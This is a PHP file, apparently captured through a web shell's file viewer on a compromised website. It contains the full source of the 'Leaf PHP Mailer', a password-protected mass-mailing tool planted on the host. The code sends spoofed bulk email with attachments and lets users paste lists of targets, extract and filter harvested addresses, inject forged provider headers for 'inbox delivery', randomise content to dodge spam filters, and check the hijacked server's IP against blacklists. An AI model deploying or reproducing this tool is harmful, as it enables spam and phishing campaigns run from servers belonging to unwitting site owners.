Your IP : 216.73.216.23


Current Path : /home/www/integralinnovationsgroup.com/123456/
Upload File :
Current File : /home/www/integralinnovationsgroup.com/123456/lfu.php

<?php

/*** PHP Encode Sh*ll Auto v4 Fox ***/ 

/**
 * Leaf PHP Mailer by [leafmailer.pw]
 * @version : 2.8
**/

$password = "12345"; // Password 

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit", "-1");

$leaf['version'] = "2.8";
$leaf['website'] = "leafmailer.pw";

$sessioncode = md5(__FILE__);
if (!empty($password) && (!isset($_SESSION[$sessioncode]) || $_SESSION[$sessioncode] != $password)) {
    if (isset($_REQUEST['pass']) && $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    } else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();

function leafClear($text, $email) {
    $e = explode('@', $email);
    $emailuser = $e[0] ?? '';
    $emaildomain = $e[1] ?? '';
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}

function leafTrim($string) {
    $string = urldecode($string);
    return stripslashes(trim($string));
}

function randString($consonants) {
    $length = rand(12, 25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
        $password .= $consonants[rand(0, strlen($consonants) - 1)];
    }
    return $password;
}

function leafMailCheck($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

// Bulit-in BlackList Checker 
if (isset($_GET['check_ip'])) {
    if (isset($_GET['host'])) {
        if (is_array($_GET['host'])) {
            $hosts = $_GET['host'];
        } else {
            $hosts = explode(",", $_GET['host']);
        }
        
        foreach ($hosts as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) {
                $check = "<font color='red'> Listed</font>";
            } else {
                $check = "<font color='green'> Clean</font>";
            }
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }
        exit;
    }
    
    $dnsbl_lookup = [
        "all.s5h.net", "b.barracudacentral.org", "bl.spamcop.net", "blacklist.woody.ch",
        "bogons.cymru.com", "cbl.abuseat.org", "cdl.anti-spam.org.cn", "combined.abuse.ch",
        "db.wpbl.info", "dnsbl-1.uceprotect.net", "dnsbl-2.uceprotect.net", "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net", "dnsbl.dronebl.org", "dnsbl.inps.de", "dnsbl.sorbs.net",
        "drone.abuse.ch", "duinv.aupads.org", "dul.dnsbl.sorbs.net", "dyna.spamrats.com",
        "dynip.rothen.com", "http.dnsbl.sorbs.net", "ips.backscatterer.org", "ix.dnsbl.manitu.net",
        "korea.services.net", "misc.dnsbl.sorbs.net", "noptr.spamrats.com", "orvedb.aupads.org",
        "pbl.spamhaus.org", "proxy.bl.gweep.ca", "psbl.surriel.com", "relays.bl.gweep.ca",
        "relays.nether.net", "sbl.spamhaus.org", "short.rbl.jp", "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net", "socks.dnsbl.sorbs.net", "spam.abuse.ch", "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net", "spam.spamrats.com", "spambot.bls.digibase.ca", "spamrbl.imp.ch",
        "spamsources.fabel.dk", "ubl.lashback.com", "ubl.unsubscore.com", "virus.rbl.jp",
        "web.dnsbl.sorbs.net", "wormrbl.imp.ch", "xbl.spamhaus.org", "z.mailspike.net",
        "zen.spamhaus.org", "zombie.dnsbl.sorbs.net",
    ];
    
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    print "Checking <b>" . htmlspecialchars($_GET['check_ip']) . "</b> in <b>$dnsT</b> anti-spam databases:<br>";
    
    print '<table>';
    $dnsN = "";
    for ($i = 0; $i < $dnsT; $i += 10) { 
        $hosts = "";
        for ($j = $i; $j < $i + 10; $j++) {
            if (isset($dnsbl_lookup[$j])) {
                $host = $dnsbl_lookup[$j];
                print "<tr><td>" . htmlspecialchars($host) . "</td><td id='" . htmlspecialchars($host) . "'>Checking ..</td></tr>";
                $hosts .= $host . ",";
            }
        }
        $dnsN .= "<script src='?check_ip=" . urlencode($reverse_ip) . "&host=" . urlencode(rtrim($hosts, ',')) . "' type='text/javascript'></script>";
    }
    print '</table></div>';
    print $dnsN;
    exit;
}

if (isset($_GET['emailfilter'])) {
    if (!empty($_FILES['fileToUpload']['tmp_name'])) {
        $_POST['emailList'] = file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    
    if (isset($_POST['emailList'])) {
        $_POST['emailList'] = strtolower($_POST['emailList']);
    }
    
    if ($_GET['emailfilter'] == "ifram") {
        if (isset($_POST['resulttype']) && $_POST['resulttype'] == "download") {
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails" . time() . ".txt");
        } else {
            header("Content-Type: text/plain");
        }
        
        if (isset($_POST['submit']) && $_POST['submit'] == "extract") {
            $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
            preg_match_all($pattern, $_POST['emailList'], $matches);
            foreach ($matches[0] as $email) {
                print $email . "\n";
            }
        } elseif (isset($_POST['submit']) && $_POST['submit'] == "filter") {
            $emails = explode("\n", $_POST['emailList']);
            $keywords = explode("\n", strtolower($_POST['keywords']));
            foreach ($emails as $email) {
                foreach ($keywords as $keyword) {
                    if (strstr($email, $keyword)) {
                        print $email . "\n";
                        break;
                    }
                }
            }
        }
        exit;
    }
    
    leafheader();
    print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
    print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data">
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or
        <textarea name="emailList" id="emailList" class="form-control" rows="7"></textarea>
        <div class="col-lg-12">
            <div class="radio">
                <label>
                    <input type="radio" name="resulttype" id="resulttype1" value="here" checked>
                    Show Result in this page
                </label>
            </div>
            <div class="radio">
                <label>
                    <input type="radio" name="resulttype" id="resulttype2" value="download">
                    Download Result (for big numbers)
                </label>
            </div>
        </div>
        <legend><h4>Extract Email</h4></legend>
        Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
        <legend><h4>Filter Emails</h4></legend>
        <label>Keywords <small>ex: gmail.com or .co.uk</small></label>
        <textarea name="keywords" id="keywords" class="form-control" rows="4">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>
        <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label>Result</label>
    <iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram"></iframe>
    ';
    exit;
}

// Initialize variables
$html = "checked";
$utf8 = "selected";
$bit8 = "selected";
$plain = "";
$iso = "";
$bit7 = "";
$binary = "";
$base64 = "";
$quotedprintable = "";
$senderEmail = "";
$senderName = "";
$replyTo = "";
$subject = "";
$emailList = "";
$messageType = 1;
$messageLetter = "";
$encoding = "8bit";
$charset = "UTF-8";

// Inbox delivery options
$provider_headers = "gmail";
$custom_headers = "X-Priority: 1\r\nX-MSMail-Priority: High\r\nImportance: High";

if (isset($_POST['action']) && ($_POST['action'] == "send" || $_POST['action'] == "score")) {
    $senderEmail = isset($_POST['senderEmail']) ? leafTrim($_POST['senderEmail']) : "";
    $senderName = isset($_POST['senderName']) ? leafTrim($_POST['senderName']) : "";
    $replyTo = isset($_POST['replyTo']) ? leafTrim($_POST['replyTo']) : "";
    $subject = isset($_POST['subject']) ? leafTrim($_POST['subject']) : "";
    $emailList = isset($_POST['emailList']) ? leafTrim($_POST['emailList']) : "";
    $messageType = isset($_POST['messageType']) ? leafTrim($_POST['messageType']) : 1;
    $messageLetter = isset($_POST['messageLetter']) ? leafTrim($_POST['messageLetter']) : "";
    $encoding = isset($_POST['encode']) ? $_POST['encode'] : "8bit";
    $charset = isset($_POST['charset']) ? $_POST['charset'] : "UTF-8";
    $provider_headers = isset($_POST['provider_headers']) ? $_POST['provider_headers'] : "gmail";
    $custom_headers = isset($_POST['custom_headers']) ? $_POST['custom_headers'] : "X-Priority: 1\r\nX-MSMail-Priority: High\r\nImportance: High";

    $html = ($messageType == 1) ? "checked" : "";
    $plain = ($messageType == 2) ? "checked" : "";

    $utf8 = ($charset == "UTF-8") ? "selected" : "";
    $iso = ($charset == "ISO-8859-1") ? "selected" : "";

    $bit8 = ($encoding == "8bit") ? "selected" : "";
    $bit7 = ($encoding == "7bit") ? "selected" : "";
    $binary = ($encoding == "binary") ? "selected" : "";
    $base64 = ($encoding == "base64") ? "selected" : "";
    $quotedprintable = ($encoding == "quoted-printable") ? "selected" : "";
}

if (isset($_POST['action']) && $_POST['action'] == "view") {
    $viewMessage = isset($_POST['messageLetter']) ? leafTrim($_POST['messageLetter']) : "";
    $viewMessage = leafClear($viewMessage, "user@domain.com");
    $messageType = isset($_POST['messageType']) ? $_POST['messageType'] : 1;
    
    if ($messageType == 2) {
        print "<pre>" . htmlspecialchars($viewMessage) . "</pre>";
    } else {
        print $viewMessage;
    }
    exit;
}

if (!isset($_POST['senderEmail'])) {
    $senderEmail = "support@" . str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) {
        $senderEmail = "";
    }
}

class PHPMailer {
    public $From = '';
    public $FromName = '';
    public $Subject = '';
    public $Body = '';
    public $AltBody = '';
    public $CharSet = 'UTF-8';
    public $ContentType = 'text/plain';
    public $Encoding = '8bit';
    public $Timeout = 30;
    public $ErrorInfo = '';
    public $ReplyTo = array();
    public $to = array();
    public $Attachment = array();
    public $CustomHeader = array();
    public $MessageID = '';
    public $MessageDate = '';
    public $ProviderHeaders = 'gmail';
    
    public function __construct($exceptions = false) {
        $this->exceptions = $exceptions;
        $this->MessageID = $this->generateMessageID();
    }
    
    private function generateMessageID() {
        $domain = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost';
        return '<' . uniqid() . '.' . time() . '@' . $domain . '>';
    }
    
    public function setFrom($address, $name = '') {
        $this->From = $address;
        $this->FromName = $name;
        return true;
    }
    
    public function addAddress($address, $name = '') {
        $this->to[] = array($address, $name);
        return true;
    }
    
    public function addReplyTo($address, $name = '') {
        $this->ReplyTo[] = array($address, $name);
        return true;
    }
    
    public function addAttachment($path, $name = '') {
        $this->Attachment[] = array($path, $name);
        return true;
    }
    
    public function addCustomHeader($name, $value) {
        $this->CustomHeader[] = array($name, $value);
        return true;
    }
    
    public function isHTML($ishtml = true) {
        if ($ishtml) {
            $this->ContentType = 'text/html';
        } else {
            $this->ContentType = 'text/plain';
        }
    }
    
    public function setProviderHeaders($provider) {
        $this->ProviderHeaders = $provider;
    }
    
    public function send() {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (Exception $exc) {
            $this->ErrorInfo = $exc->getMessage();
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }
    
    public function preSend() {
        $this->MessageDate = date('D, j M Y H:i:s O');
        
        if (empty($this->From)) {
            $this->ErrorInfo = 'Message must have a From address.';
            return false;
        }
        
        if (empty($this->to)) {
            $this->ErrorInfo = 'Message must have at least one recipient.';
            return false;
        }
        
        return true;
    }
    
    public function postSend() {
        $headers = $this->createHeader();
        $body = $this->createBody();
        
        $to = '';
        foreach ($this->to as $address) {
            if (!empty($to)) $to .= ', ';
            $to .= $address[0];
        }
        
        $result = @mail($to, $this->encodeSubject($this->Subject), $body, $headers);
        if (!$result) {
            $this->ErrorInfo = 'Could not instantiate mail function.';
            return false;
        }
        
        return true;
    }
    
    private function encodeSubject($subject) {
        return '=?UTF-8?B?' . base64_encode($subject) . '?=';
    }
    
    public function getSentMIMEMessage() {
        $headers = $this->createHeader();
        $body = $this->createBody();
        return $headers . "\r\n\r\n" . $body;
    }
    
    protected function createHeader() {
        $headers = array();
        
        // Basic headers
        $headers[] = 'From: ' . $this->formatAddress($this->From, $this->FromName);
        $headers[] = 'Return-Path: ' . $this->From;
        $headers[] = 'Reply-To: ' . $this->From;
        
        $to_header = '';
        foreach ($this->to as $address) {
            if (!empty($to_header)) $to_header .= ', ';
            $to_header .= $this->formatAddress($address[0], $address[1]);
        }
        if (!empty($to_header)) {
            $headers[] = 'To: ' . $to_header;
        }
        
        $headers[] = 'Subject: ' . $this->encodeSubject($this->Subject);
        $headers[] = 'Date: ' . $this->MessageDate;
        $headers[] = 'Message-ID: ' . $this->MessageID;
        $headers[] = 'MIME-Version: 1.0';
        
        // Content headers
        if ($this->ContentType == 'text/html' && !empty($this->AltBody)) {
            $boundary = '=_part_' . md5(uniqid());
            $headers[] = 'Content-Type: multipart/alternative; boundary="' . $boundary . '"';
        } else {
            $headers[] = 'Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet;
            $headers[] = 'Content-Transfer-Encoding: ' . $this->Encoding;
        }
        
        // Provider-specific headers
        $headers[] = $this->getProviderHeaders();
        
        // Custom headers
        if (!empty($this->CustomHeader)) {
            foreach ($this->CustomHeader as $header) {
                $headers[] = $header[0] . ': ' . $header[1];
            }
        }
        
        return implode("\r\n", $headers);
    }
    
    private function getProviderHeaders() {
        $domain = explode('@', $this->From);
        $domain = $domain[1] ?? 'localhost';
        
        switch ($this->ProviderHeaders) {
            case 'gmail':
                return $this->getGmailHeaders($domain);
            case 'yahoo':
                return $this->getYahooHeaders($domain);
            case 'hotmail':
                return $this->getHotmailHeaders($domain);
            case 'aol':
                return $this->getAolHeaders($domain);
            case 'custom':
                return $this->getCustomHeaders();
            default:
                return $this->getDefaultHeaders($domain);
        }
    }
    
    private function getGmailHeaders($domain) {
        $headers = array();
        $headers[] = 'X-Priority: 1';
        $headers[] = 'X-MSMail-Priority: High';
        $headers[] = 'Importance: High';
        $headers[] = 'X-Google-Original-From: ' . $this->From;
        $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1');
        $headers[] = 'X-Sender: ' . $this->From;
        $headers[] = 'X-Report-Abuse: <' . $this->From . '>';
        $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>';
        $headers[] = 'Precedence: bulk';
        return implode("\r\n", $headers);
    }
    
    private function getYahooHeaders($domain) {
        $headers = array();
        $headers[] = 'X-Priority: 1';
        $headers[] = 'X-MSMail-Priority: High';
        $headers[] = 'Importance: High';
        $headers[] = 'X-Yahoo-Original-From: ' . $this->From;
        $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1');
        $headers[] = 'X-Sender: ' . $this->From;
        $headers[] = 'X-Apparently-From: ' . $this->From;
        $headers[] = 'X-Contact: ' . $this->From;
        $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>';
        return implode("\r\n", $headers);
    }
    
    private function getHotmailHeaders($domain) {
        $headers = array();
        $headers[] = 'X-Priority: 1';
        $headers[] = 'X-MSMail-Priority: High';
        $headers[] = 'Importance: High';
        $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1');
        $headers[] = 'X-Sender: ' . $this->From;
        $headers[] = 'X-Originating-Email: ' . $this->From;
        $headers[] = 'X-Source: ' . $domain;
        $headers[] = 'X-Source-Args: ' . $domain;
        $headers[] = 'X-Source-Dir: ' . $domain;
        $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>';
        return implode("\r\n", $headers);
    }
    
    private function getAolHeaders($domain) {
        $headers = array();
        $headers[] = 'X-Priority: 1';
        $headers[] = 'X-MSMail-Priority: High';
        $headers[] = 'Importance: High';
        $headers[] = 'X-AOL-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1');
        $headers[] = 'X-AOL-SENDER: ' . $this->From;
        $headers[] = 'X-AOL-ORIGINAL-FROM: ' . $this->From;
        $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1');
        $headers[] = 'X-Sender: ' . $this->From;
        $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>';
        return implode("\r\n", $headers);
    }
    
    private function getCustomHeaders() {
        $headers = array();
        $headers[] = 'X-Priority: 1';
        $headers[] = 'X-MSMail-Priority: High';
        $headers[] = 'Importance: High';
        $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1');
        $headers[] = 'X-Sender: ' . $this->From;
        $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>';
        return implode("\r\n", $headers);
    }
    
    private function getDefaultHeaders($domain) {
        $headers = array();
        $headers[] = 'X-Priority: 1';
        $headers[] = 'X-MSMail-Priority: High';
        $headers[] = 'Importance: High';
        $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1');
        $headers[] = 'X-Sender: ' . $this->From;
        $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>';
        return implode("\r\n", $headers);
    }
    
    protected function createBody() {
        // For HTML emails without AltBody, send as single part
        if ($this->ContentType == 'text/html' && empty($this->AltBody)) {
            return $this->Body;
        }
        
        // For HTML emails with AltBody, create multipart
        if ($this->ContentType == 'text/html' && !empty($this->AltBody)) {
            $boundary = '=_part_' . md5(uniqid());
            $body = "This is a multi-part message in MIME format.\r\n";
            $body .= "--" . $boundary . "\r\n";
            $body .= "Content-Type: text/plain; charset=\"" . $this->CharSet . "\"\r\n";
            $body .= "Content-Transfer-Encoding: " . $this->Encoding . "\r\n\r\n";
            $body .= $this->AltBody . "\r\n\r\n";
            $body .= "--" . $boundary . "\r\n";
            $body .= "Content-Type: text/html; charset=\"" . $this->CharSet . "\"\r\n";
            $body .= "Content-Transfer-Encoding: " . $this->Encoding . "\r\n\r\n";
            $body .= $this->Body . "\r\n\r\n";
            $body .= "--" . $boundary . "--\r\n";
            return $body;
        }
        
        // For plain text emails
        return $this->Body;
    }
    
    protected function formatAddress($address, $name = '') {
        if (empty($name)) {
            return $address;
        } else {
            return $this->encodeHeader($name) . ' <' . $address . '>';
        }
    }
    
    protected function encodeHeader($str) {
        if (preg_match('/[^\x20-\x7E]/', $str)) {
            return '=?UTF-8?B?' . base64_encode($str) . '?=';
        }
        return $str;
    }
}

function leafheader() {
    print '
    <head>
        <title>' . str_replace("www.", "", $_SERVER['HTTP_HOST']) . ' - Leaf PHPMailer</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
        <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet">
    </head>';
}

leafheader();
print '<body>';

print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>' . $leaf['version'] . '</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
            <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="' . htmlspecialchars($senderEmail) . '"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="' . htmlspecialchars($senderName) . '"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="' . htmlspecialchars($replyTo) . '" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="' . htmlspecialchars($subject) . '" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10">' . htmlspecialchars($messageLetter) . '</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10">' . htmlspecialchars($emailList) . '</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType1" value="1" ' . $html . '>
                    Plain<input type="radio" name="messageType" id="messageType2" value="2" ' . $plain . '>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option ' . $utf8 . '>UTF-8</option>
                        <option ' . $iso . '>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option ' . $bit8 . '>8bit</option>
                        <option ' . $bit7 . '>7bit</option>
                        <option ' . $binary . '>binary</option>
                        <option ' . $base64 . '>base64</option>
                        <option ' . $quotedprintable . '>quoted-printable</option>
                    </select>
                </div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6">
                    <label for="provider_headers">Provider Headers</label>
                    <select class="form-control input-sm" id="provider_headers" name="provider_headers">
                        <option value="gmail" ' . ($provider_headers == 'gmail' ? 'selected' : '') . '>Gmail</option>
                        <option value="yahoo" ' . ($provider_headers == 'yahoo' ? 'selected' : '') . '>Yahoo</option>
                        <option value="hotmail" ' . ($provider_headers == 'hotmail' ? 'selected' : '') . '>Hotmail/Outlook</option>
                        <option value="aol" ' . ($provider_headers == 'aol' ? 'selected' : '') . '>AOL</option>
                        <option value="custom" ' . ($provider_headers == 'custom' ? 'selected' : '') . '>Custom</option>
                    </select>
                </div>
                <div class="form-group col-lg-6">
                    <label for="custom_headers">Custom Headers</label>
                    <textarea name="custom_headers" id="custom_headers" class="form-control" rows="3">' . htmlspecialchars($custom_headers) . '</textarea>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>' . ($_SERVER['SERVER_ADDR'] ?? 'Unknown') . ' </b> <a href="?check_ip=' . ($_SERVER['SERVER_ADDR'] ?? '') . '" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>' . phpversion() . '</b></li>
            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> (' . date("m/d/Y h:i:s a", time()) . ')</li>
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>Inbox Delivery Tips</h4>
            <ul>
                <li><b>Gmail:</b> Uses X-Google headers and abuse reporting</li>
                <li><b>Yahoo:</b> Uses X-Yahoo and X-Apparently-From headers</li>
                <li><b>Hotmail:</b> Uses X-Source and originating IP headers</li>
                <li><b>AOL:</b> Uses X-AOL specific headers</li>
                <li>Select the provider matching your target audience</li>
            </ul>
            <h6>by <b><a href="http://' . $leaf['website'] . '">' . $leaf['website'] . '</a></b></h6>
        </div>
    </div>';

if (isset($_POST['action']) && $_POST['action'] == "send") {
    print '<div class="col-lg-12">';
    $maillist = explode("\r\n", $emailList);
    $n = count($maillist);
    $x = 1;
    
    foreach ($maillist as $email) {
        $email = trim($email);
        if (empty($email)) continue;
        
        print '<div class="col-lg-1">[' . $x . '/' . $n . ']</div><div class="col-lg-4">' . htmlspecialchars($email) . '</div>';
        
        if (!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        } else {
            $mail = new PHPMailer(true);
            try {
                $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email));
                if (!empty($replyTo)) {
                    $mail->addReplyTo(leafClear($replyTo, $email));
                }
                $mail->addAddress($email);
                $mail->Subject = leafClear($subject, $email);
                $mail->Body = leafClear($messageLetter, $email);
                $mail->setProviderHeaders($provider_headers);
                
                if ($messageType == 1) {
                    $mail->isHTML(true);
                    // Only add AltBody for multipart, otherwise send clean HTML
                    if (strpos($messageLetter, '</') !== false && strpos(strip_tags($messageLetter), '[-') === false) {
                        $mail->AltBody = strip_tags(leafClear($messageLetter, $email));
                    }
                } else {
                    $mail->isHTML(false);
                }
                
                $mail->CharSet = $charset;
                $mail->Encoding = $encoding;
                
                // Add custom headers
                if (!empty($custom_headers)) {
                    $header_lines = explode("\r\n", $custom_headers);
                    foreach ($header_lines as $line) {
                        if (strpos($line, ':') !== false) {
                            list($name, $value) = explode(':', $line, 2);
                            $mail->addCustomHeader(trim($name), trim($value));
                        }
                    }
                }
                
                if (isset($_FILES['attachment']) && is_array($_FILES['attachment']['name'])) {
                    for ($i = 0; $i < count($_FILES['attachment']['name']); $i++) {
                        if ($_FILES['attachment']['tmp_name'][$i] != "") {
                            $mail->addAttachment(
                                $_FILES['attachment']['tmp_name'][$i], 
                                $_FILES['attachment']['name'][$i]
                            );
                        }
                    }
                }
                
                if (!$mail->send()) {
                    echo '<div class="col-lg-6"><span class="label label-default">' . htmlspecialchars($mail->ErrorInfo) . '</span></div>';
                } else {
                    echo '<div class="col-lg-6"><span class="label label-success">Sent Successfully</span></div>';
                }
            } catch (Exception $e) {
                echo '<div class="col-lg-6"><span class="label label-default">' . htmlspecialchars($e->getMessage()) . '</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        // Flush output buffer
        for ($k = 0; $k < 40000; $k++) {
            echo ' ';
        }
        flush();
    }
    print '</div>';
} elseif (isset($_POST['action']) && $_POST['action'] == "score") {
    $mail = new PHPMailer(true);
    try {
        $mail->setFrom(leafClear($senderEmail, "test@example.com"), leafClear($senderName, "test@example.com"));
        if (!empty($replyTo)) {
            $mail->addReplyTo(leafClear($replyTo, "test@example.com"));
        }
        $mail->addAddress("username@domain.com");
        $mail->Subject = leafClear($subject, "test@example.com");
        $mail->Body = leafClear($messageLetter, "test@example.com");
        $mail->setProviderHeaders($provider_headers);
        
        if ($messageType == 1) {
            $mail->isHTML(true);
            if (strpos($messageLetter, '</') !== false) {
                $mail->AltBody = strip_tags(leafClear($messageLetter, "test@example.com"));
            }
        } else {
            $mail->isHTML(false);
        }
        
        $mail->CharSet = $charset;
        $mail->Encoding = $encoding;
        
        $messageHeaders = $mail->getSentMIMEMessage();
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['email' => $messageHeaders, 'options' => 'long']));
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        $response = curl_exec($ch);
        curl_close($ch);
        
        $response = json_decode($response);
        print '<div class="col-lg-12">';
        
        if ($response && isset($response->success) && $response->success == true) {
            $score = $response->score;
            $class = ($score > 5) ? "danger" : "success";
            print '<div class="text-' . $class . '">Your SpamAssassin score is ' . $score . '</div>
            <div>Full Report: <pre>' . htmlspecialchars($response->report) . '</pre></div>';
        } else {
            print '<div class="text-danger">Error getting spam score</div>';
        }
        print '</div>';
    } catch (Exception $e) {
        print '<div class="col-lg-12"><div class="text-danger">Error: ' . htmlspecialchars($e->getMessage()) . '</div></div>';
    }
}

print '</body>';
?>